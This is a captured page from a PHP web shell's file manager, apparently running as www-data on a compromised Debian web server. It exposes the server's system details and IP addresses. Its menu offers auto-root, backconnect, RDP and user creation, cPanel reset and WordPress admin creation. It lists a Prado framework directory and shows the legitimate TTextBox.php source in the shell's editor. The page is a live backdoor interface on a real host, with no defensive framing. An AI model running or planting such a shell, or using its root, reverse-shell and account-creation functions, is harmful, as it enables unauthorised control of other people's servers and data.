Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.224.38.165
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
WebControls /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
IDataSource.php
507
B
-rw-r--r--
IItemDataRenderer.php
1.34
KB
-rw-r--r--
IListControlAdapter.php
1.22
KB
-rw-r--r--
IRepeatInfoUser.php
1.55
KB
-rw-r--r--
IStyleable.php
774
B
-rw-r--r--
TAccordion.php
16.08
KB
-rw-r--r--
TAccordionView.php
4.45
KB
-rw-r--r--
TAccordionViewCollection.php
1.57
KB
-rw-r--r--
TBaseDataList.php
5.45
KB
-rw-r--r--
TBaseValidator.php
19.79
KB
-rw-r--r--
TBoundColumn.php
7.11
KB
-rw-r--r--
TBulletStyle.php
913
B
-rw-r--r--
TBulletedList.php
12.14
KB
-rw-r--r--
TBulletedListDisplayMode.php
917
B
-rw-r--r--
TBulletedListEventParameter.ph...
993
B
-rw-r--r--
TButton.php
11.42
KB
-rw-r--r--
TButtonColumn.php
8.5
KB
-rw-r--r--
TButtonColumnType.php
791
B
-rw-r--r--
TButtonTag.php
705
B
-rw-r--r--
TButtonType.php
756
B
-rw-r--r--
TCaptcha.php
16.31
KB
-rw-r--r--
TCaptchaValidator.php
4
KB
-rw-r--r--
TCheckBox.php
15.02
KB
-rw-r--r--
TCheckBoxColumn.php
3.68
KB
-rw-r--r--
TCheckBoxItem.php
520
B
-rw-r--r--
TCheckBoxList.php
14.43
KB
-rw-r--r--
TCircleHotSpot.php
1.84
KB
-rw-r--r--
TClientScript.php
4.41
KB
-rw-r--r--
TClientSideValidationSummaryOp...
2.38
KB
-rw-r--r--
TColorPicker.php
6.83
KB
-rw-r--r--
TColorPickerClientSide.php
847
B
-rw-r--r--
TColorPickerMode.php
815
B
-rw-r--r--
TCompareValidator.php
7.5
KB
-rw-r--r--
TCompleteWizardStep.php
960
B
-rw-r--r--
TConditional.php
4.33
KB
-rw-r--r--
TContent.php
1.67
KB
-rw-r--r--
TContentDirection.php
811
B
-rw-r--r--
TContentPlaceHolder.php
1.73
KB
-rw-r--r--
TCustomValidator.php
4.46
KB
-rw-r--r--
TDataBoundControl.php
15.37
KB
-rw-r--r--
TDataGrid.php
48.32
KB
-rw-r--r--
TDataGridColumn.php
17.06
KB
-rw-r--r--
TDataGridColumnCollection.php
1.83
KB
-rw-r--r--
TDataGridCommandEventParameter...
2.06
KB
-rw-r--r--
TDataGridItem.php
3.62
KB
-rw-r--r--
TDataGridItemCollection.php
1.34
KB
-rw-r--r--
TDataGridItemEventParameter.ph...
1.4
KB
-rw-r--r--
TDataGridItemRenderer.php
539
B
-rw-r--r--
TDataGridPageChangedEventParam...
1.84
KB
-rw-r--r--
TDataGridPager.php
1.75
KB
-rw-r--r--
TDataGridPagerButtonType.php
1022
B
-rw-r--r--
TDataGridPagerEventParameter.p...
1.42
KB
-rw-r--r--
TDataGridPagerMode.php
1.04
KB
-rw-r--r--
TDataGridPagerPosition.php
1.16
KB
-rw-r--r--
TDataGridPagerStyle.php
7.44
KB
-rw-r--r--
TDataGridSortCommandEventParam...
1.93
KB
-rw-r--r--
TDataList.php
46.45
KB
-rw-r--r--
TDataListCommandEventParameter...
1.81
KB
-rw-r--r--
TDataListItem.php
3.29
KB
-rw-r--r--
TDataListItemCollection.php
1.06
KB
-rw-r--r--
TDataListItemEventParameter.ph...
1.16
KB
-rw-r--r--
TDataListItemRenderer.php
4.6
KB
-rw-r--r--
TDataRenderer.php
1.11
KB
-rw-r--r--
TDataSize.php
4.22
KB
-rw-r--r--
TDataSourceControl.php
1.36
KB
-rw-r--r--
TDataSourceSelectParameters.ph...
1.51
KB
-rw-r--r--
TDataSourceView.php
2.23
KB
-rw-r--r--
TDataTypeValidator.php
3.89
KB
-rw-r--r--
TDatePicker.php
26.21
KB
-rw-r--r--
TDatePickerClientScript.php
1.22
KB
-rw-r--r--
TDatePickerInputMode.php
746
B
-rw-r--r--
TDatePickerMode.php
1.08
KB
-rw-r--r--
TDatePickerPositionMode.php
766
B
-rw-r--r--
TDisplayStyle.php
994
B
-rw-r--r--
TDropDownList.php
4.58
KB
-rw-r--r--
TDropDownListColumn.php
10.06
KB
-rw-r--r--
TEditCommandColumn.php
7.97
KB
-rw-r--r--
TEmailAddressValidator.php
2.68
KB
-rw-r--r--
TExpression.php
1.42
KB
-rw-r--r--
TFileUpload.php
11.86
KB
-rw-r--r--
TFileUploadItem.php
4.03
KB
-rw-r--r--
TFlushOutput.php
2.25
KB
-rw-r--r--
TFont.php
8.93
KB
-rw-r--r--
TGravatar.php
4.65
KB
-rw-r--r--
THead.php
5
KB
-rw-r--r--
THeader1.php
675
B
-rw-r--r--
THeader2.php
675
B
-rw-r--r--
THeader3.php
675
B
-rw-r--r--
THeader4.php
674
B
-rw-r--r--
THeader5.php
674
B
-rw-r--r--
THeader6.php
674
B
-rw-r--r--
THiddenField.php
5.82
KB
-rw-r--r--
THorizontalAlign.php
921
B
-rw-r--r--
THotSpot.php
8.73
KB
-rw-r--r--
THotSpotCollection.php
1.02
KB
-rw-r--r--
THotSpotMode.php
901
B
-rw-r--r--
THtmlArea.php
12.41
KB
-rw-r--r--
THtmlArea5.php
11.53
KB
-rw-r--r--
THtmlElement.php
1.62
KB
-rw-r--r--
THyperLink.php
7.41
KB
-rw-r--r--
THyperLinkColumn.php
7.61
KB
-rw-r--r--
TImage.php
4.29
KB
-rw-r--r--
TImageButton.php
11.67
KB
-rw-r--r--
TImageClickEventParameter.php
1.52
KB
-rw-r--r--
TImageMap.php
6.86
KB
-rw-r--r--
TImageMapEventParameter.php
1.06
KB
-rw-r--r--
TInlineFrame.php
7.89
KB
-rw-r--r--
TInlineFrameAlign.php
1018
B
-rw-r--r--
TInlineFrameScrollBars.php
917
B
-rw-r--r--
TItemDataRenderer.php
2.17
KB
-rw-r--r--
TJavascriptLogger.php
2.8
KB
-rw-r--r--
TKeyboard.php
5.92
KB
-rw-r--r--
TLabel.php
3.95
KB
-rw-r--r--
TLinkButton.php
10.45
KB
-rw-r--r--
TListBox.php
6.57
KB
-rw-r--r--
TListControl.php
24.23
KB
-rw-r--r--
TListControlValidator.php
5.84
KB
-rw-r--r--
TListItem.php
4.93
KB
-rw-r--r--
TListItemType.php
1.11
KB
-rw-r--r--
TListSelectionMode.php
684
B
-rw-r--r--
TLiteral.php
2.82
KB
-rw-r--r--
TLiteralColumn.php
4.08
KB
-rw-r--r--
TMarkdown.php
1.99
KB
-rw-r--r--
TMetaTag.php
3.53
KB
-rw-r--r--
TMetaTagCollection.php
1.83
KB
-rw-r--r--
TMultiView.php
8.34
KB
-rw-r--r--
TOutputCache.php
15.99
KB
-rw-r--r--
TOutputCacheCalculateKeyEventP...
1.04
KB
-rw-r--r--
TOutputCacheCheckDependencyEve...
1.38
KB
-rw-r--r--
TOutputCacheTextWriterMulti.ph...
975
B
-rw-r--r--
TPageLoadTime.php
1.31
KB
-rw-r--r--
TPager.php
21.73
KB
-rw-r--r--
TPagerButtonType.php
714
B
-rw-r--r--
TPagerMode.php
838
B
-rw-r--r--
TPagerPageChangedEventParamete...
1.54
KB
-rw-r--r--
TPanel.php
6.39
KB
-rw-r--r--
TPanelStyle.php
8.09
KB
-rw-r--r--
TPlaceHolder.php
616
B
-rw-r--r--
TPolygonHotSpot.php
1.11
KB
-rw-r--r--
TRadioButton.php
9.39
KB
-rw-r--r--
TRadioButtonItem.php
533
B
-rw-r--r--
TRadioButtonList.php
2.29
KB
-rw-r--r--
TRangeValidationDataType.php
696
B
-rw-r--r--
TRangeValidator.php
9.76
KB
-rw-r--r--
TRatingList.php
8.75
KB
-rw-r--r--
TReCaptcha.php
11.79
KB
-rw-r--r--
TReCaptcha2.php
10.95
KB
-rw-r--r--
TReCaptcha2Validator.php
3.43
KB
-rw-r--r--
TReCaptchaValidator.php
4.19
KB
-rw-r--r--
TReadOnlyDataSource.php
1.1
KB
-rw-r--r--
TReadOnlyDataSourceView.php
1.01
KB
-rw-r--r--
TRectangleHotSpot.php
2.36
KB
-rw-r--r--
TRegularExpressionValidator.ph...
4.16
KB
-rw-r--r--
TRepeatDirection.php
681
B
-rw-r--r--
TRepeatInfo.php
13.51
KB
-rw-r--r--
TRepeatLayout.php
872
B
-rw-r--r--
TRepeater.php
23.8
KB
-rw-r--r--
TRepeaterCommandEventParameter...
1.81
KB
-rw-r--r--
TRepeaterItem.php
2.83
KB
-rw-r--r--
TRepeaterItemCollection.php
1.07
KB
-rw-r--r--
TRepeaterItemEventParameter.ph...
1.13
KB
-rw-r--r--
TRepeaterItemRenderer.php
1.24
KB
-rw-r--r--
TRequiredFieldValidator.php
4.56
KB
-rw-r--r--
TSafeHtml.php
2.07
KB
-rw-r--r--
TScrollBars.php
953
B
-rw-r--r--
TServerValidateEventParameter....
1.37
KB
-rw-r--r--
TSlider.php
14.93
KB
-rw-r--r--
TSliderClientScript.php
1.78
KB
-rw-r--r--
TSliderDirection.php
749
B
-rw-r--r--
TStatements.php
1.44
KB
-rw-r--r--
TStyle.php
9.84
KB
-rw-r--r--
TStyleSheet.php
3.62
KB
-rw-r--r--
TTabPanel.php
14.67
KB
-rw-r--r--
TTabView.php
4.83
KB
-rw-r--r--
TTabViewCollection.php
1.55
KB
-rw-r--r--
TTable.php
9.63
KB
-rw-r--r--
TTableCaptionAlign.php
862
B
-rw-r--r--
TTableCell.php
5.77
KB
-rw-r--r--
TTableCellCollection.php
1.1
KB
-rw-r--r--
TTableFooterRow.php
882
B
-rw-r--r--
TTableGridLines.php
902
B
-rw-r--r--
TTableHeaderCell.php
2.4
KB
-rw-r--r--
TTableHeaderRow.php
882
B
-rw-r--r--
TTableHeaderScope.php
766
B
-rw-r--r--
TTableItemStyle.php
5.5
KB
-rw-r--r--
TTableRow.php
3.8
KB
-rw-r--r--
TTableRowCollection.php
1.08
KB
-rw-r--r--
TTableRowSection.php
761
B
-rw-r--r--
TTableStyle.php
8.84
KB
-rw-r--r--
TTemplateColumn.php
7.93
KB
-rw-r--r--
TTemplatedWizardStep.php
2.93
KB
-rw-r--r--
TTextAlign.php
608
B
-rw-r--r--
TTextBox.php
19.32
KB
-rw-r--r--
TTextBoxAutoCompleteType.php
1.87
KB
-rw-r--r--
TTextBoxMode.php
2.3
KB
-rw-r--r--
TTextHighlighter.php
6.53
KB
-rw-r--r--
TTextProcessor.php
2.28
KB
-rw-r--r--
TValidationCompareOperator.php
959
B
-rw-r--r--
TValidationDataType.php
749
B
-rw-r--r--
TValidationSummary.php
11.78
KB
-rw-r--r--
TValidationSummaryDisplayMode....
1.09
KB
-rw-r--r--
TValidationSummaryDisplayStyle...
1017
B
-rw-r--r--
TValidatorClientSide.php
2.96
KB
-rw-r--r--
TValidatorDisplayStyle.php
951
B
-rw-r--r--
TVerticalAlign.php
836
B
-rw-r--r--
TView.php
2.23
KB
-rw-r--r--
TViewCollection.php
1.09
KB
-rw-r--r--
TWebControl.php
12.65
KB
-rw-r--r--
TWebControlAdapter.php
1.98
KB
-rw-r--r--
TWebControlDecorator.php
10.94
KB
-rw-r--r--
TWizard.php
41.24
KB
-rw-r--r--
TWizardFinishNavigationTemplat...
1.49
KB
-rw-r--r--
TWizardNavigationButtonStyle.p...
3.89
KB
-rw-r--r--
TWizardNavigationButtonType.ph...
825
B
-rw-r--r--
TWizardNavigationContainer.php
1.85
KB
-rw-r--r--
TWizardNavigationEventParamete...
2.15
KB
-rw-r--r--
TWizardNavigationTemplate.php
2.29
KB
-rw-r--r--
TWizardSideBarListItemTemplate...
907
B
-rw-r--r--
TWizardSideBarTemplate.php
1003
B
-rw-r--r--
TWizardStartNavigationTemplate...
1.21
KB
-rw-r--r--
TWizardStep.php
2.34
KB
-rw-r--r--
TWizardStepCollection.php
1.79
KB
-rw-r--r--
TWizardStepNavigationTemplate....
1.45
KB
-rw-r--r--
TWizardStepType.php
1.01
KB
-rw-r--r--
TXmlTransform.php
5.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TTextBox.php
<?php /** * TTextBox class file. * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\WebControls; use Prado\Prado; use Prado\TPropertyValue; use Prado\Web\THttpUtility; use Prado\Exceptions\TInvalidDataValueException; /** * TTextBox class * * TTextBox displays a text box on the Web page for user input. * The text displayed in the TTextBox control is determined by the * {@link setText Text} property. You can create a <b>SingleLine</b>, * a <b>MultiLine</b>, or a <b>Password</b> text box by setting * the {@link setTextMode TextMode} property. If the TTextBox control * is a multiline text box, the number of rows it displays is determined * by the {@link setRows Rows} property, and the {@link setWrap Wrap} property * can be used to determine whether to wrap the text in the component. * Additional {@link setTextMode TextMode} types enable the use of new input types * added with html5, eg. <b>Color</b>, <b>Date</b>, <b>Email</b>. * * To specify the display width of the text box, in characters, set * the {@link setColumns Columns} property. To prevent the text displayed * in the component from being modified, set the {@link setReadOnly ReadOnly} * property to true. If you want to limit the user input to a specified number * of characters, set the {@link setMaxLength MaxLength} property. * To use AutoComplete feature, set the {@link setAutoCompleteType AutoCompleteType} property. * * If {@link setAutoPostBack AutoPostBack} is set true, updating the text box * and then changing the focus out of it will cause postback action. * And if {@link setCausesValidation CausesValidation} is true, validation will * also be processed, which can be further restricted within * a {@link setValidationGroup ValidationGroup}. * * WARNING: Be careful if you want to display the text collected via TTextBox. * Malicious cross-site script may be injected in. You may use {@link getSafeText SafeText} * to prevent this problem. * * NOTE: If you set {@link setWrap Wrap} to false or use {@link setAutoCompleteType AutoCompleteType}, * the generated HTML output for the textbox will not be XHTML-compatible. * Currently, no alternatives are available. * * @author Qiang Xue <qiang.xue@gmail.com> * @since 3.0 */ class TTextBox extends \Prado\Web\UI\WebControls\TWebControl implements \Prado\Web\UI\IPostBackDataHandler, \Prado\Web\UI\IValidatable, \Prado\IDataRenderer { /** * Default number of rows (for MultiLine text box) */ public const DEFAULT_ROWS = 4; /** * Default number of columns (for MultiLine text box) */ public const DEFAULT_COLUMNS = 20; /** * @var mixed safe text parser */ private static $_safeTextParser; /** * @var string safe textbox content with javascript stripped off */ private $_safeText; private $_dataChanged = false; private $_isValid = true; /** * @return string tag name of the textbox */ protected function getTagName() { return ($this->getTextMode() === 'MultiLine') ? 'textarea' : 'input'; } /** * @return bool whether to render javascript. */ public function getEnableClientScript() { return $this->getViewState('EnableClientScript', true); } /** * @param bool $value whether to render javascript. */ public function setEnableClientScript($value) { $this->setViewState('EnableClientScript', TPropertyValue::ensureBoolean($value), true); } /** * Adds attribute name-value pairs to renderer. * This method overrides the parent implementation with additional textbox specific attributes. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose */ protected function addAttributesToRender($writer) { $page = $this->getPage(); $page->ensureRenderInForm($this); if (($uid = $this->getUniqueID()) !== '') { $writer->addAttribute('name', $uid); } if (($textMode = $this->getTextMode()) === TTextBoxMode::MultiLine) { if (($rows = $this->getRows()) <= 0) { $rows = self::DEFAULT_ROWS; } if (($cols = $this->getColumns()) <= 0) { $cols = self::DEFAULT_COLUMNS; } $writer->addAttribute('rows', "$rows"); $writer->addAttribute('cols', "$cols"); if (!$this->getWrap()) { $writer->addAttribute('wrap', 'off'); } } else { switch ($textMode) { case TTextBoxMode::Password: $writer->addAttribute('type', 'password'); break; case TTextBoxMode::Color: $writer->addAttribute('type', 'color'); break; case TTextBoxMode::Date: $writer->addAttribute('type', 'date'); break; case TTextBoxMode::Datetime: $writer->addAttribute('type', 'datetime'); break; case TTextBoxMode::DatetimeLocal: $writer->addAttribute('type', 'datetime-local'); break; case TTextBoxMode::Email: $writer->addAttribute('type', 'email'); break; case TTextBoxMode::Month: $writer->addAttribute('type', 'month'); break; case TTextBoxMode::Number: $writer->addAttribute('type', 'number'); break; case TTextBoxMode::Range: $writer->addAttribute('type', 'range'); break; case TTextBoxMode::Search: $writer->addAttribute('type', 'search'); break; case TTextBoxMode::Tel: $writer->addAttribute('type', 'tel'); break; case TTextBoxMode::Time: $writer->addAttribute('type', 'time'); break; case TTextBoxMode::Url: $writer->addAttribute('type', 'url'); break; case TTextBoxMode::Week: $writer->addAttribute('type', 'week'); break; case TTextBoxMode::SingleLine: default: $writer->addAttribute('type', 'text'); break; } if (($text = $this->getText()) !== '' && ($textMode !== TTextBoxMode::Password || $this->getPersistPassword())) { $writer->addAttribute('value', $text); } if (($act = $this->getAutoCompleteType()) !== 'None') { if ($act === 'Disabled') { $writer->addAttribute('autocomplete', 'off'); } elseif ($act === 'Search') { $writer->addAttribute('vcard_name', 'search'); } elseif ($act === 'HomeCountryRegion') { $writer->addAttribute('vcard_name', 'HomeCountry'); } elseif ($act === 'BusinessCountryRegion') { $writer->addAttribute('vcard_name', 'BusinessCountry'); } else { if (strpos($act, 'Business') === 0) { $act = 'Business' . '.' . substr($act, 8); } elseif (strpos($act, 'Home') === 0) { $act = 'Home' . '.' . substr($act, 4); } $writer->addAttribute('vcard_name', 'vCard.' . $act); } } if (($cols = $this->getColumns()) > 0) { $writer->addAttribute('size', "$cols"); } if (($maxLength = $this->getMaxLength()) > 0) { $writer->addAttribute('maxlength', "$maxLength"); } } if ($this->getReadOnly()) { $writer->addAttribute('readonly', 'readonly'); } $isEnabled = $this->getEnabled(true); if (!$isEnabled && $this->getEnabled()) { // in this case parent will not render 'disabled' $writer->addAttribute('disabled', 'disabled'); } if ($isEnabled && $this->getEnableClientScript() && ($this->getAutoPostBack() || $textMode === TTextBoxMode::SingleLine) && $page->getClientSupportsJavaScript()) { $this->renderClientControlScript($writer); } parent::addAttributesToRender($writer); } /** * Renders the javascript for textbox. * @param mixed $writer */ protected function renderClientControlScript($writer) { $writer->addAttribute('id', $this->getClientID()); $cs = $this->getPage()->getClientScript(); $cs->registerPostBackControl($this->getClientClassName(), $this->getPostBackOptions()); } /** * Gets the name of the javascript class responsible for performing postback for this control. * This method overrides the parent implementation. * @return string the javascript class name */ protected function getClientClassName() { return 'Prado.WebUI.TTextBox'; } /** * Gets the post back options for this textbox. * @return array */ protected function getPostBackOptions() { $options['ID'] = $this->getClientID(); $options['EventTarget'] = $this->getUniqueID(); $options['AutoPostBack'] = $this->getAutoPostBack(); $options['CausesValidation'] = $this->getCausesValidation(); $options['ValidationGroup'] = $this->getValidationGroup(); $options['TextMode'] = $this->getTextMode(); return $options; } /** * Loads user input data. * This method is primarly used by framework developers. * @param string $key the key that can be used to retrieve data from the input data collection * @param array $values the input data collection * @return bool whether the data of the component has been changed */ public function loadPostData($key, $values) { $value = $values[$key]; if ($this->getAutoTrim()) { $value = trim($value); } if (!$this->getReadOnly() && $this->getText() !== $value) { $this->setText($value); return $this->_dataChanged = true; } else { return false; } } /** * Returns a value indicating whether postback has caused the control data change. * This method is required by the \Prado\Web\UI\IPostBackDataHandler interface. * @return bool whether postback has caused the control data change. False if the page is not in postback mode. */ public function getDataChanged() { return $this->_dataChanged; } /** * Returns the value to be validated. * This methid is required by \Prado\Web\UI\IValidatable interface. * @return mixed the value of the property to be validated. */ public function getValidationPropertyValue() { return $this->getText(); } /** * Returns true if this control validated successfully. * Defaults to true. * @return bool wether this control validated successfully. */ public function getIsValid() { return $this->_isValid; } /** * @param bool $value wether this control is valid. */ public function setIsValid($value) { $this->_isValid = TPropertyValue::ensureBoolean($value); } /** * Raises <b>OnTextChanged</b> event. * This method is invoked when the value of the {@link getText Text} * property changes on postback. * If you override this method, be sure to call the parent implementation to ensure * the invocation of the attached event handlers. * @param \Prado\TEventParameter $param event parameter to be passed to the event handlers */ public function onTextChanged($param) { $this->raiseEvent('OnTextChanged', $this, $param); } /** * Raises postdata changed event. * This method is required by {@link \Prado\Web\UI\IPostBackDataHandler} interface. * It is invoked by the framework when {@link getText Text} property * is changed on postback. * This method is primarly used by framework developers. */ public function raisePostDataChangedEvent() { if ($this->getAutoPostBack() && $this->getCausesValidation()) { $this->getPage()->validate($this->getValidationGroup()); } $this->onTextChanged(null); } /** * Renders the body content of the textbox when it is in MultiLine text mode. * @param \Prado\Web\UI\THtmlWriter $writer the writer for rendering */ public function renderContents($writer) { if ($this->getTextMode() === 'MultiLine') { $writer->write(THttpUtility::htmlEncode($this->getText())); } } /** * Renders an additional line-break after the opening tag when it * is in MultiLine text mode. * @param \Prado\Web\UI\THtmlWriter $writer the writer used for the rendering purpose^M */ public function renderBeginTag($writer) { parent::renderBeginTag($writer); if ($this->getTextMode() === 'MultiLine') { $writer->write("\n"); } } /** * @return TTextBoxAutoCompleteType the AutoComplete type of the textbox */ public function getAutoCompleteType() { return $this->getViewState('AutoCompleteType', TTextBoxAutoCompleteType::None); } /** * @param TTextBoxAutoCompleteType $value the AutoComplete type of the textbox, default value is TTextBoxAutoCompleteType::None. * @throws TInvalidDataValueException if the input parameter is not a valid AutoComplete type */ public function setAutoCompleteType($value) { $this->setViewState('AutoCompleteType', TPropertyValue::ensureEnum($value, 'TTextBoxAutoCompleteType'), TTextBoxAutoCompleteType::None); } /** * @return bool a value indicating whether an automatic postback to the server * will occur whenever the user modifies the text in the TTextBox control and * then tabs out of the component. Defaults to false. */ public function getAutoPostBack() { return $this->getViewState('AutoPostBack', false); } /** * Sets the value indicating if postback automatically. * An automatic postback to the server will occur whenever the user * modifies the text in the TTextBox control and then tabs out of the component. * @param bool $value the value indicating if postback automatically */ public function setAutoPostBack($value) { $this->setViewState('AutoPostBack', TPropertyValue::ensureBoolean($value), false); } /** * @return bool a value indicating whether the input text should be trimmed spaces. Defaults to false. */ public function getAutoTrim() { return $this->getViewState('AutoTrim', false); } /** * Sets the value indicating if the input text should be trimmed spaces * @param bool $value the value indicating if the input text should be trimmed spaces */ public function setAutoTrim($value) { $this->setViewState('AutoTrim', TPropertyValue::ensureBoolean($value), false); } /** * @return bool whether postback event trigger by this text box will cause input validation, default is true. */ public function getCausesValidation() { return $this->getViewState('CausesValidation', true); } /** * @param bool $value whether postback event trigger by this text box will cause input validation. */ public function setCausesValidation($value) { $this->setViewState('CausesValidation', TPropertyValue::ensureBoolean($value), true); } /** * @return int the display width of the text box in characters, default is 0 meaning not set. */ public function getColumns() { return $this->getViewState('Columns', 0); } /** * Sets the display width of the text box in characters. * @param int $value the display width, set it 0 to clear the setting */ public function setColumns($value) { $this->setViewState('Columns', TPropertyValue::ensureInteger($value), 0); } /** * @return int the maximum number of characters allowed in the text box, default is 0 meaning not set. */ public function getMaxLength() { return $this->getViewState('MaxLength', 0); } /** * Sets the maximum number of characters allowed in the text box. * @param int $value the maximum length, set it 0 to clear the setting */ public function setMaxLength($value) { $this->setViewState('MaxLength', TPropertyValue::ensureInteger($value), 0); } /** * @return bool whether the textbox is read only, default is false. */ public function getReadOnly() { return $this->getViewState('ReadOnly', false); } /** * @param bool $value whether the textbox is read only */ public function setReadOnly($value) { $this->setViewState('ReadOnly', TPropertyValue::ensureBoolean($value), false); } /** * @return int the number of rows displayed in a multiline text box, default is 4 */ public function getRows() { return $this->getViewState('Rows', self::DEFAULT_ROWS); } /** * Sets the number of rows displayed in a multiline text box. * @param int $value the number of rows */ public function setRows($value) { $this->setViewState('Rows', TPropertyValue::ensureInteger($value), self::DEFAULT_ROWS); } /** * @return bool whether password should be displayed in the textbox during postback. Defaults to false. This property only applies when TextMode='Password'. */ public function getPersistPassword() { return $this->getViewState('PersistPassword', false); } /** * @param bool $value whether password should be displayed in the textbox during postback. This property only applies when TextMode='Password'. */ public function setPersistPassword($value) { $this->setViewState('PersistPassword', TPropertyValue::ensureBoolean($value), false); } /** * @return string the text content of the TTextBox control. */ public function getText() { return $this->getViewState('Text', ''); } /** * Sets the text content of the TTextBox control. * @param string $value the text content */ public function setText($value) { $this->setViewState('Text', TPropertyValue::ensureString($value), ''); $this->_safeText = null; } /** * Returns the text content of the TTextBox control. * This method is required by {@link \Prado\IDataRenderer}. * It is the same as {@link getText()}. * @return string the text content of the TTextBox control. * @see getText * @since 3.1.0 */ public function getData() { return $this->getText(); } /** * Sets the text content of the TTextBox control. * This method is required by {@link \Prado\IDataRenderer}. * It is the same as {@link setText()}. * @param string $value the text content of the TTextBox control. * @see setText * @since 3.1.0 */ public function setData($value) { $this->setText($value); } /** * @return string safe text content with javascript stripped off */ public function getSafeText() { if ($this->_safeText === null) { $this->_safeText = $this->getSafeTextParser()->purify($this->getText()); } return $this->_safeText; } /** * @return \HTMLPurifier safe text parser */ protected function getSafeTextParser() { if (!self::$_safeTextParser) { self::$_safeTextParser = new \HTMLPurifier($this->getConfig()); } return self::$_safeTextParser; } /** * @return TTextBoxMode the behavior mode of the TTextBox component. Defaults to TTextBoxMode::SingleLine. */ public function getTextMode() { return $this->getViewState('TextMode', TTextBoxMode::SingleLine); } /** * Sets the behavior mode of the TTextBox component. * @param TTextBoxMode $value the text mode * @throws TInvalidDataValueException if the input value is not a valid text mode. */ public function setTextMode($value) { $this->setViewState('TextMode', TPropertyValue::ensureEnum($value, 'TTextBoxMode'), TTextBoxMode::SingleLine); } /** * @return string the group of validators which the text box causes validation upon postback */ public function getValidationGroup() { return $this->getViewState('ValidationGroup', ''); } /** * @param string $value the group of validators which the text box causes validation upon postback */ public function setValidationGroup($value) { $this->setViewState('ValidationGroup', $value, ''); } /** * @return bool whether the text content wraps within a multiline text box. Defaults to true. */ public function getWrap() { return $this->getViewState('Wrap', true); } /** * Sets the value indicating whether the text content wraps within a multiline text box. * @param bool $value whether the text content wraps within a multiline text box. */ public function setWrap($value) { $this->setViewState('Wrap', TPropertyValue::ensureBoolean($value), true); } /** * Sets a custom configuration for HTMLPurifier. * @param \HTMLPurifier_Config $value custom configuration */ public function setConfig(\HTMLPurifier_Config $value) { $this->setViewState('Config', $value, null); } /** * @return \HTMLPurifier_Config Configuration for HTMLPurifier. */ public function getConfig() { $config = $this->getViewState('Config', null); return ($config === null) ? \HTMLPurifier_Config::createDefault() : $config; } }
Close